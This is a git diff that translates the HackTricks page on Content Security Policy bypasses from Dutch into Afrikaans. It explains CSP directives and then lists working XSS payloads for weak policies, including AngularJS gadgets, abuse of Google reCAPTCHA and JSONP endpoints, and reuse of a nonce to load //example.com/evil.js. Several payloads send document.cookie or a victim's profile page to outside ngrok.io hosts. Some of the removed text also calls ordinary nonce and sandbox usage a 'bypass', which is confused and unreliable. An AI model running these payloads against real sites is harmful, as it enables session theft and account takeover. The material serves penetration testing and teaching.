Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2024-03-15 22:24:30 +00:00
parent a1e36dabf6
commit 1008080257

View file

@ -1,96 +1,58 @@
# Inhoudsbeveiligingsbeleid (CSP) Omzeiling
# Inhoudsbeveiligingsbeleid (CSP) Bypass
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere manieren om HackTricks te ondersteunen:
Ander maniere om HackTricks te ondersteun:
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks wilt downloaden in PDF-formaat**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Sluit je aan bij de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)-server om te communiceren met ervaren hackers en bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Inzichten in hacken**\
Ga aan de slag met inhoud die ingaat op de spanning en uitdagingen van hacken
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat
**Real-time hacknieuws**\
Blijf op de hoogte van de snel veranderende hackwereld via realtime nieuws en inzichten
**Hacknuus in Werklikheid**\
Bly op hoogte van die snelbewegende hackwêreld deur werklikheidsnuus en insigte
**Laatste aankondigingen**\
Blijf op de hoogte van de nieuwste bugbounties en belangrijke platformupdates
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
**Sluit je aan bij ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandaag nog samen te werken met top hackers!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Wat is CSP
Content Security Policy (CSP) wordt erkend als een browsertechnologie, primair gericht op **bescherming tegen aanvallen zoals cross-site scripting (XSS)**. Het werkt door paden en bronnen te definiëren en te specificeren waaruit bronnen veilig door de browser kunnen worden geladen. Deze bronnen omvatten een scala aan elementen zoals afbeeldingen, frames en JavaScript. Bijvoorbeeld, een beleid kan het laden en uitvoeren van bronnen van dezelfde domeinnaam (self) toestaan, inclusief inline bronnen en de uitvoering van stringcode via functies zoals `eval`, `setTimeout` of `setInterval`.
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n blaaitegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos kruissite-skripsing (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
De implementatie van CSP wordt uitgevoerd via **response headers** of door **meta-elementen in de HTML-pagina** op te nemen. Na het toepassen van dit beleid handhaven browsers deze bepalingen proactief en blokkeren ze onmiddellijk elke gedetecteerde overtreding.
Implementering van CSP word gedoen deur **responskoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
- Geïmplementeerd via response header:
* Geïmplementeer via responskop:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Geïmplementeer via meta-tag:
```html
<meta http-equiv="Content-Security-Policy" content="...">
```
Hierdie metatag word gebruik om 'n inhoudsveiligheidsbeleid (Content Security Policy - CSP) te implementeer. Die beleid spesifiseer watter bronne (soos skrip, style, beelde, ens.) mag gelaai word op 'n webbladsy. Die inhoud van die `content`-attribuut bevat die beleidsreëls wat gevolg moet word.
- Bypassing via `http-equiv` attribute:
```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-inline'">
```
Hierdie voorbeeld wys hoe om die CSP te omseil deur die `http-equiv`-kenmerk te gebruik. Die beleid word ingestel om slegs skripte vanaf die huidige webwerf toe te laat, maar die `unsafe-inline`-waarde laat enige skripte toe, selfs as dit nie vanaf die huidige webwerf afkomstig is nie.
- Bypassing via `sandbox` attribute:
```html
<iframe src="https://example.com" sandbox="allow-scripts"></iframe>
```
Hierdie voorbeeld wys hoe om die CSP te omseil deur die `sandbox`-kenmerk te gebruik. Die `sandbox`-waarde van `allow-scripts` laat toe dat skripte binne die `iframe`-element uitgevoer word, selfs as dit teenstrydig is met die beleid van die omliggende webbladsy.
- Bypassing via `data:` URL:
```html
<script src="data:text/javascript;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></script>
```
Hierdie voorbeeld wys hoe om die CSP te omseil deur die `data:`-URL-skema te gebruik. Die skripskakel verwys na 'n data-URL wat die skripskode bevat. Hierdie omseiling laat toe dat die skripskode uitgevoer word, selfs as dit nie toegelaat word volgens die beleid nie.
- Bypassing via `nonce` attribute:
```html
<script src="https://example.com/script.js" nonce="abc123"></script>
```
Hierdie voorbeeld wys hoe om die CSP te omseil deur die `nonce`-kenmerk te gebruik. Die `nonce`-waarde moet ooreenstem met die waarde wat deur die webwerf se beleid gespesifiseer word. Hierdie omseiling laat toe dat die skripskakel gelaai word, selfs as dit nie toegelaat word volgens die beleid nie.
* Geïmplementeer via meta-tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Koptekste
### Opdraggewers
CSP kan afgedwing of gemonitor word deur middel van hierdie koptekste:
CSP kan afgedwing of gemonitor word met behulp van hierdie opdraggewers:
* `Content-Security-Policy`: Dwang die CSP af; die blaaier blokkeer enige oortredings.
* `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
* `Content-Security-Policy`: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
* `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.
### Definisie van Hulpbronne
### Definiëring van Hulpbronne
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos die uitvoering van inline JavaScript en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
```bash
default-src 'none';
img-src 'self';
@ -104,52 +66,71 @@ object-src 'none';
```
### Riglyne
* **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte en skripte wat geaktiveer word deur gebeurtenishanterers of XSLT-stylblaaie.
* **default-src**: Stel 'n verstekbeleid in vir die ophaling van hulpbronne wanneer spesifieke ophalingsriglyne afwesig is.
* **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
* **connect-src**: Beperk URL's wat gelaai kan word met behulp van koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
* **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
* **default-src**: Stel 'n verstekbeleid in vir die ophaal van hulpbronne wanneer spesifieke ophaalriglyne afwesig is.
* **child-src**: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
* **connect-src**: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Beperk URL's vir rame.
* **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>` en `<applet>`.
* **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
* **img-src**: Definieer toegelate bronne vir afbeeldings.
* **font-src**: Spesifiseer geldige bronne vir lettertipes wat gelaai word met behulp van `@font-face`.
* **manifest-src**: Definieer toegelate bronne van aansoek-manifestlêers.
* **media-src**: Definieer toegelate bronne vir die laai van media-objekte.
* **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>` en `<applet>` elemente.
* **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
* **font-src**: Spesifiseer geldige bronne vir lettertipes wat gelaai word met `@font-face`.
* **manifest-src**: Definieer toegelate bronne van aansoek-manifeslêers.
* **media-src**: Definieer toegelate bronne vir die laai van media-voorwerpe.
* **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>`, en `<applet>` elemente.
* **base-uri**: Spesifiseer toegelate URL's vir die laai met behulp van `<base>` elemente.
* **form-action**: Lys geldige eindpunte vir vormindienings.
* **plugin-types**: Beperk mime-tipes wat 'n bladsy kan aanroep.
* **upgrade-insecure-requests**: Gee aan dat webblaaier HTTP-URL's na HTTPS moet omskakel.
* **sandbox**: Pas beperkings toe soortgelyk aan die sandbox-eienskap van 'n `<iframe>`.
* **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word as die beleid oortree word.
* **worker-src**: Spesifiseer geldige bronne vir werker-, gedeelde werker- of dienswerkerskripte.
* **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorgelaai sal word.
* **navigate-to**: Beperk die URL's waarna 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)
* **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
* **upgrade-insecure-requests**: Gee aan dat webblaaier HTTP-URL's na HTTPS moet omskryf.
* **sandbox**: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n `<iframe>`.
* **report-to**: Spesifiseer 'n groep na wie 'n verslag gestuur sal word as die beleid oortree word.
* **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
* **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorafgelaai sal word.
* **navigate-to**: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)
### Bronne
* `*`: Laat alle URL's toe behalwe dié met die `data:`, `blob:` en `filesystem:` skemas.
* `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
* `'self'`: Laat laai vanaf dieselfde domein toe.
* `'data'`: Laat hulpbronne toe om gelaai te word via die data-skema (bv. Base64-gekodeerde afbeeldings).
* `'data'`: Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-geënkripteer afbeeldings).
* `'none'`: Blokkeer laai vanaf enige bron.
* `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
* `'unsafe-hashes'`: Maak spesifieke inline-gebeurtenishanterers moontlik.
* `'unsafe-inline'`: Laat die gebruik van inline-hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir veiligheidsredes nie.
* `'nonce'`: 'n Witlys vir spesifieke inline-skripte wat 'n kriptografiese nonce (eenmalige getal) gebruik.
* `'unsafe-hashes'`: Stel spesifieke inline gebeurtenishanteerders in staat.
* `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir veiligheidsredes nie.
* `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
* As jy beperkte JS-uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan hergebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
<details>
<summary>Laai skrip deur nonce te hergebruik</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>
* `'sha256-<hash>'`: Witlys skripte met 'n spesifieke sha256-hash.
* `'strict-dynamic'`: Laat laai van skripte vanaf enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
* `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
* `'strict-dynamic'`: Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
* `'host'`: Spesifiseer 'n spesifieke gasheer, soos `voorbeeld.com`.
* `https:`: Beperk URL's tot dié wat HTTPS gebruik.
* `blob:`: Laat hulpbronne toe om gelaai te word vanaf Blob-URL's (bv. Blob-URL's wat deur JavaScript geskep is).
* `filesystem:`: Laat hulpbronne toe om gelaai te word vanaf die lêersisteem.
* `'report-sample'`: Sluit 'n voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
* `'strict-origin'`: Soortgelyk aan 'self', maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprong-aanvrae gedoen word, maar stuur slegs die oorsprong wanneer die aanvraag kruis-oorsprong is.
* `'unsafe-allow-redirects'`: Laat hulpbronne toe wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie, omdat dit die veiligheid verswak.
* `blob:`: Laat hulpbronne toe om van Blob-URL's (bv., Blob-URL's wat deur JavaScript geskep is) gelaai te word.
* `filesystem:`: Laat hulpbronne toe om van die lêersisteem gelaai te word.
* `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
* `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
## Onveilige CSP-reëls
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Werkende payload: `"/><script>alert(1);</script>`
Werkende lading: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
@ -167,7 +148,7 @@ Werkende lading:
```
### streng-dinamies
As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe skriptiket in die DOM kan laat skep** met jou JS-kode, omdat 'n toegelate skrip dit skep, sal die **nuwe skriptiket toegelaat word om uitgevoer te word**.
Indien jy op een of ander manier kan bewerkstellig dat **toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep**, sal die **nuwe skriptag toegelaat word om uitgevoer te word**, omdat 'n toegelate skrip dit skep.
### Wildcard (\*)
```yaml
@ -181,45 +162,37 @@ Werkende lading:
### Gebrek aan object-src en default-src
{% hint style="danger" %}
**Dit lyk nie meer asof dit werk nie**
**Dit lyk asof dit nie meer werk nie**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Werkende payloads:
### Werkende payloads:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Lêeroplaai + 'self'
Die `self` sleutelwoord in 'n Content Security Policy (CSP) stel die bron van 'n webbladsy se inhoud voor. Dit word gebruik om te bepaal watter bronne toegelaat word om gelae te word deur die webbladsy. As 'n webbladsy 'n CSP beleid het wat die `self` sleutelwoord gebruik, beteken dit dat slegs bronne van dieselfde oorsprong as die webbladsy toegelaat word.
Hierdie beperking kan egter omseil word deur 'n lêeroplaai-aanval uit te voer. Die aanvaller kan 'n lêer op die webwerf oplaai en dit dan gebruik as 'n bron vir die webbladsy. Aangesien die lêer van dieselfde oorsprong as die webbladsy is, sal dit toegelaat word volgens die `self` beleid.
Dit kan 'n ernstige veiligheidsrisiko veroorsaak, aangesien 'n aanvaller skadelike lêers kan oplaai en uitvoer op die webwerf. Dit kan lei tot die uitvoering van skadelike kodes op die webwerf, die lek van gevoelige inligting of selfs die oorneem van die webwerf.
Om hierdie tipe aanval te voorkom, moet die webwerf behoorlike verifikasie en validering van lêeroplaai-aanvrae uitvoer. Dit kan insluit die gebruik van lêeruitbreidingbeperkings, lêergroottebeperkings, inhoudstipeverifikasie en die skandering van opgelaaide lêers vir skadelike inhoud.
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
Werkende payload:
Werkende lading:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Dit is egter baie waarskynlik dat die bediener die opgelaaide lêer **valideer** en slegs toelaat dat jy 'n **bepaalde tipe lêers** oplaai.
Dit is egter baie waarskynlik dat die bediener die opgelaaide lêer **valideer** en slegs sal toelaat dat jy 'n **bepaalde tipe lêers oplaai**.
Selfs as jy 'n **JS-kode binne** 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: _script.png_), sal dit nie genoeg wees nie, omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal **weier om Javascript-kode** binne iets wat 'n prent behoort te wees, uit te voer. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie** die _**.wave**_ uitbreiding ken nie, daarom bedien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
Selfs al sou jy 'n **JS-kode binne** 'n lêer kon oplaai met 'n aanvaarde uitbreiding deur die bediener (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom dien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglot ([sommige poliglot-voorbeelde hier](https://github.com/Polydet/polyglot-database)).
Vanaf hier, as jy 'n XSS vind en 'n lêeroplaai, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die Inhoud van die skripsie op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott ([sommige poliglott-voorbeelde hier](https://github.com/Polydet/polyglot-database)).
### Derde Party Eindpunte + ('unsafe-eval')
### Derdeparty-eindpunte + ('unsafe-eval')
{% hint style="warning" %}
Vir sommige van die volgende payload is **`unsafe-eval` nie eens nodig nie**.
Vir sommige van die volgende lading is **`unsafe-eval` selfs nie nodig nie**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
@ -245,10 +218,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window`-objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Vragmotors wat Angular + 'n biblioteek met funksies wat die `window`-objek teruggee, gebruik ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
Die pos wys dat jy al die biblioteke van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek-repo) kan **laai**, al die bygevoegde funksies van elke biblioteek kan uitvoer, en **ondersoek watter funksies van watter biblioteke die `window`-objek teruggee**.
Die pos wys dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek-repo) **kan laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan **watter funksies van watter biblioteke die `window`-objek teruggee**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -275,7 +248,7 @@ Die pos wys dat jy al die biblioteke van `cdn.cloudflare.com` (of enige ander to
```
#### Misbruik van Google reCAPTCHA JS-kode
Volgens [**hierdie CTF-verslag**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=af&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om willekeurige JS-kode uit te voer en die CSP te omseil:
Volgens [**hierdie CTF-verslag**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:
```html
<div
ng-controller="CarouselController as c"
@ -286,31 +259,28 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Derde Party Eindpunte + JSONP
JSONP (JSON met padding) is 'n tegniek wat gebruik kan word om 'n Content Security Policy (CSP) te omseil wat die gebruik van derde party eindpunte beperk. JSONP maak gebruik van 'n skript tag om 'n GET-versoek na 'n derde party eindpunt te stuur en die respons in te sluit as 'n funksie-oproep. Hierdie tegniek maak dit moontlik om data van 'n derde party eindpunt te verkry sonder om die CSP te oortree.
Om JSONP te gebruik, moet die derde party eindpunt 'n funksie-oproep terugstuur wat die data bevat. Die funksie-oproep moet die data as 'n argument aanroep, byvoorbeeld:
```javascript
callbackFunction({"data": "example"});
```
Die funksie-oproep moet ook 'n unieke funksie-naam gebruik om te verseker dat dit nie bots met ander funksies in die toepassing nie.
Om JSONP te gebruik om 'n CSP te omseil, kan jy 'n skript tag in jou HTML-inhoud insluit wat verwys na die derde party eindpunt en die funksie-naam spesifiseer wat jy wil gebruik om die data te verwerk. Byvoorbeeld:
Meer [**payloads van hierdie skryfstuk**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://thirdparty.com/api?callback=callbackFunction"></script>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
Wanneer die skript tag uitgevoer word, sal dit 'n GET-versoek na die derde party eindpunt stuur en die respons sal as 'n funksie-oproep aanroep word met die opgegee funksie-naam. Die data wat deur die derde party eindpunt teruggestuur word, sal as 'n argument aan die funksie-oproep oorgedra word.
Hierdie tegniek maak dit moontlik om data van 'n derde party eindpunt te verkry sonder om die CSP te oortree, aangesien die data as 'n skript tag ingesluit word en nie as 'n AJAX-versoek nie.
### Derde Party Eindpunte + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenarios soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys staan, kan omseil word deur gebruik te maak van JSONP. JSONP-eindpunte maak gebruik van onveilige terugroepmetodes wat 'n aanvaller in staat stel om XSS uit te voer. Werkende payload:
### Afrikaans Translation
Scenarios soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -320,122 +290,82 @@ Scenarios soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed om te gebruik JSONP-eindpunten om CSP-bypass van verskillende webwerwe uit te voer.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.**
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n oop omleiding bevat**, want as die aanvanklike eindpunt vertrou word, word omleidings vertrou.
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Aanstuur bevat** omdat as die aanvanklike eindpunt vertrou word, is aanstuurders vertrou.
### Misbruik deur Derde Partye
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derde party-domeine wat dalk toegelaat word in die CSP en misbruik kan word om data uit te lek of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:
### Derde Party Misbruik
| Entiteit | Toegelate Domein | Vermoëns |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Uitlek |
| Hotjar | *.hotjar.com, ask.hotjar.io | Uitlek |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Uitvoer |
| Amazon CloudFront | *.cloudfront.net | Uitlek, Uitvoer |
| Amazon AWS | *.amazonaws.com | Uitlek, Uitvoer |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Uitlek, Uitvoer |
| Salesforce Heroku | *.herokuapp.com | Uitlek, Uitvoer |
| Google Firebase | *.firebaseapp.com | Uitlek, Uitvoer |
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP kan omseil deur te registreer by die derde-party-diens en óf data na daardie diens uit te lek óf kode uit te voer.
| Entiteit | Toegelate Domein | Vermoëns |
| ------------------ | -------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Uitsif |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Uitsif |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Uitvoer |
| Amazon CloudFront | \*.cloudfront.net | Uitsif, Uitvoer|
| Amazon AWS | \*.amazonaws.com | Uitsif, Uitvoer|
| Azure Webwerwe | \*.azurewebsites.net, \*.azurestaticapps.net | Uitsif, Uitvoer|
| Salesforce Heroku | \*.herokuapp.com | Uitsif, Uitvoer|
| Google Firebase | \*.firebaseapp.com | Uitsif, Uitvoer|
